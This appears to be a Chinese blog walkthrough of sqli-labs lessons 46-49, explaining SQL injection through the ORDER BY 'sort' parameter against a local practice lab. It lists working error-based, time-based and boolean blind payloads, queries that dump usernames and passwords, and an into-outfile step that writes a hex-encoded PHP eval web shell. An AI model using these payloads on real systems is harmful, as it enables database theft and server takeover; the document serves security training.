Less-46

基于错误_GET_数字型_排序注入

这一关首先要说一下的是,在前面的关卡中我们大多是使用 id这个参数来获取到正常的页面,但在这几关中我们要使用 sort 这个参数,因为后台源代码这样设置了

那么接下来我们看一下正常的页面:

   

我们看到了正常的页面,从中我们也发现了数字的不同,页面给我们呈现出的账号表格中的顺序是不同的,那么这就是我们这几关要说的知识点。

这关往后都是order by语句与limit语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sortlimit两个参数。

同样地,这关有很多种注入方式,将一一详细介绍。

首先我们来看一下后台的SQL语句:

从中我们了解到通过sort参数接收需要排序的列的序号(从1开始)

尝试sort=1 ascsort=1 desc,分别显示升序和降序的表格,说明此处是注入点,即注入点在order by后的参数中,

  

order by不同于在where后的注入,不能使用union等进行注入。
如何进行order by的注入,我们先来了解一下 MySQL 官方的select文档。

https://dev.mysql.com/doc/refman/8.0/en/select.html

order by 后的数字可以作为一个注入点。也就是构造 order by 后的一个语句,让该语句执行结果为一个数,我们尝试:

http://192.168.33.1/sqli/Less-46/?sort=left(version(),1)

http://192.168.33.1/sqli/Less-46/?sort=right(version(),1)

  

没有报错,但是 right 换成 left 都一样,说明数字没有起作用,我们考虑布尔类型。此时我
们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,

形式一:?sort=(select ······)
形式二:?sort=1 and (select ······)
形式三:?sort=rand(······)

由于Less-46是数字型注入,所以形式一和形式二可以说是一样的

顺便说一下,源代码中有这样一句:这是我们能进行报错注入的根本

①直接添加注入语句,?sort=(select ******)   即可利用基于报错注入,延时盲注

基于报错注入主要采用的是双注入的方法,即子查询 / 派生表,这在 Less 17 中有详细的介绍。因为这里order by只能接一个字段,所以应当采用派生表的方法,原理见 Less 17:

当然使用一些报错函数如:updatexml 等是一样的

基于报错注入:

暴库

?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)

暴表:

1.这里我使用group_concat()没有成功,老毛病,别人却能成功

?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b)

既然group_concat()函数无效,那么换个语法:

?sort=(select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a) b)

我们知道floor(rand()*2)具有随机性,有时会出现:

多尝试几次就可以了,当然也可以在floor(rand(0)*2) 填一个0,这样页面都会返回我们的报错信息,不过前提时记录条数要大于3,(一般记录数据都会大于3的)

爆字段名

?sort=(select 1 from (select count(*),concat_ws('-',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)

爆数据:

?sort=(select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)

在《注入天书》中还见到了派生表的另一种写法:

?sort=(select count(*) from information_schema.schemata group by concat_ws('-',(select database()),floor(rand()*2)))

这里展示一个updatexml的例子:

?sort=UpdateXml(1,concat(0x7e,database(),0x7e),1)

基于延时注入:

在这里使用延时注入会有新的发现,比如使用:

?sort=if(ascii(mid(database(),1,1))=115,sleep(3),0)   ===》(slect .........)加不加都可以

发现sleep的时间远远大于3秒

于是改小sleep的时间为0.1秒,发现沉睡时间大约2秒,这是怎们回事在前面的关卡中没太注意是因为sleep的时间不会很长,基本接近自己设置的sleep时间

于是,查看了一下别人的博客发现:

查了发现sleep()这个函数水很深:

添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL 会对每条满足条件的记录停留 N 秒钟。

参考:关于MySQL的SLEEP(N)函数

单次查询:

http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)

代码复用:

http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(0.1),0)

当然,我们也可以用一种思路,如果条件为真,返回1,如果条件为false,则sleep(N)

?sort=if(ascii(mid(database(),1,1))=115,1,sleep(3))

关于延时注入详情,参考Less-9

在前面我也说了Less-46是数字型注入,那么形式一和形式二的用法是一样的,所以形式二我就

不介绍了。

基于布尔盲注:

这里我想说的是既然延时注入可以,那么为什么布尔盲注却不可以?

MySQL 像 PHP,也是一种弱类型,它会认为true=1false=0
用在order by后会直接导致显示不同,因为没有第0列:

  

  

其中我们已经看到,order by接返回数字或布尔值(因为是弱类型,布尔值返回仍是数字)的语句是没有作用的!

所以第一和第二句式都不可以盲注,因为显示没有区别。
我们只能用第三句式的rand()函数。

rand()函数早在 Less 5 中已经介绍过了,它是个随机函数,返回0~1间的小数。使用时也可以给定参数值(随机种子),相同的参数生成的结果也相同,我们只需注意两个:

应用在order by中也如此:

  

通过观察ID顺序的不同,即可判断true页面和false页面。

true:

?sort=rand(ascii(left(database(),1))=115)

fslse:

?sort=rand(ascii(left(database(),1))=116)

想这样 rand(left(database(),1)>'s' )直接套用即可,具体步骤参考Less-8

procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
以下为示范例:

?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

导出文件 into outfile 参数注入:

?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.txt"

上图中显示 sql 出错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了

  

注意:仍有 Less 7 中提到的数据导入导出权限路径转义的问题,需要重视。

导出文件我们就可以考虑上传一句话木马:(可以考虑上传网马,利用 lines terminated by。)

?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

其中lines terminates by将每行以指定字符串结尾:

0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e = hex(<?php eval($_POST["cmd"]);?>)

查看后台文件:

使用中国菜刀拿到 shell,也可参考 Less 7

---------------------------   分隔符  ------------------------

Less-47

基于错误_GET_字符型_单引号_排序注入

本关的 sql 语句为
将 id 变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。(不过这里还要说一点的是在Less-46关中,我们没有用注释符是因为他是数字型,且注入的位置在SQL语句末尾,而字符型就必须要注释了,否则无法进行单引号的正常闭合)

由于源代码中没有屏蔽 MySQL 报错信息,可以利用报错注入或者盲注。

方法1:基于报错注入

和 Less 46 注入方法相同,不过这关因有一个没有用的单引号闭合,只能采用第二句式,即:

?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+

?sort=1' and(updatexml(1,concat(0x7e,(select database())),0)) --+

其余的参考Less-46,这里再说一个报错注入,原理和上面的 payload 是一样的,都是利用的 mysql 重复项的原理

?sort=1' and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

此处重复了 version(),所以就爆出了版本号

方法2:基于 Bool 盲注

经过实际测试该方法不可使用,原理是用and rand()连接order by column_name / column_number时返回的不是固定值。(会很混乱,具体看下面的图)(至于“注入天书”中的作者成功了,可能是他环境是ubuntu的原因吧)

  

方法3:基于 Time 盲注

盲注方法同 Less 46,同样有每条数据sleep一次的问题:

?sort=1' and if(ascii(mid(database(),1,1))=115,1,sleep(0.3))--+

没有延迟,那为什么顺序是乱的?原理呢?

方法4:procedure analyse 参数后注入

利用 procedure analyse 参数,我们可以执行报错注入。同时,在 procedure analyse 和 order by 之间可以存在 limit 参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以利用 procedure analyse 进行注入。
以下为示范例

方法5:into outfile 参数注入

详细过程可参考Less-46

?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.txt" --+

查看:

导出文件我们就可以考虑上传一句话木马:(可以考虑上传网马,利用 lines terminated by。)

?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

此处的 16 进制文件为<?php phpinfo();?>

查看:

   

--------------------------------   分隔符 -----------------------------------

Less-48

基于盲注_GET_数字型_排序注入

本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。

方法1:基于 Bool 盲注

?sort=rand((ascii(mid((select database()),1,1)))>65)

方法2:基于 Time 盲注

?sort=if(ascii(mid(database(),1,1))=115,1,sleep(0.1))

方法3:into outfile 参数注入

?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.txt"

------------------------------------ 分隔符 -----------------------

Less-49

基于盲注_GET_字符型_单引号_排序注入

本关与 47 关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进
行注入。

方法1:基于 Time 盲注

?sort=1' and if(ascii(mid(database(),1,1))=115,1,sleep(1))--+

方法2:into outfile 参数注入

?sort=1' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-47\\test.txt" --+

Sqli-labs之Less:46-49相关推荐

  1. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  2. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  3. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  4. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  5. sqli——labs初学者通关详

    目录 Less-1 GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入) Less-2 GET-Error based- Intiger bas ...

  6. SQLi LABS Less-8 布尔盲注

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 第八关是单引号字符型注入,推荐使用布尔盲注 方式一:布尔盲注 第一步.判断注入 ...

  7. SQLi LABS Less-31

    第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号 在url地址栏中输入 1") and true-- a,使SQL恒成立,页面正常显示 再输入 1") an ...

  8. SQLi LABS Less-30

    第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号 输入 1" and true-- a,页面正常显示 输入 1&quo ...

  9. SQLi LABS Less-29

    第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可 在url中输入 1'and true-- a,源码中的SQL会拼接成下面这样 注释后面的内 ...

  10. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

最新文章

  1. CIA败给维基解密 专家称AI将改变黑客行为
  2. [转]verilog语法学习心得
  3. linux 脚本案例,30个关于Shell脚本的经典案例(上)
  4. Java 中几种获取文件路径的方式
  5. 编译AjaxControlToolkit发生错误如何解决?
  6. 私钥经过哈希计算可以产生公钥_「区块链基础概念100」:公钥和私钥 | 027
  7. java string sscanf_倾情奉献——JAVA sscanf函数!!!
  8. springboot实现定时任务常用的2种方式
  9. linux远程仿真,11.5 仿真的远程桌面系统: XRDP 服务器
  10. 软件架构——设计原则
  11. c语言读写txt坐标文件数据,C语言——从txt文件中读写数据
  12. 华为HCNA之配置OSPF认证实验
  13. 融云即时通讯SDK集成 – 通知检查
  14. python大神年薪_我程序员年薪 80 万被亲戚鄙视不如在二本教书的博士生?
  15. STM32MP157(实验九)——SysTick定时器us延时
  16. 淘宝数据魔方技术架构解析【转】
  17. 鲁大师服务器cpu性能排行,鲁大师PC处理器性能排行:AMD撕裂者跑分碾压英特尔, i9 7980XE屈居第二!...
  18. 安卓干货——PC 连接手机实现摄像头预览
  19. 微信公众平台移动版开始内测了
  20. 电脑关闭所有应用的快捷键

热门文章

  1. 考研英语大连百家外语国际部考研英语五大题型学习方法
  2. 数据可视化_用Matplotlib绘制折线图
  3. java IO操作知识点
  4. 数据库的优化以及如何提高数据库性能
  5. mysql主键约束怎么写_MySQL----主键约束
  6. 吵架英语-必备!!!
  7. 第十八天2019.8.22
  8. 欧债危机再生变数,欧元续创年内新低
  9. 吉洪诺夫 matlab,使用三种方法求解吉洪诺夫正则化参数,为什么结果相同
  10. javax.mail使用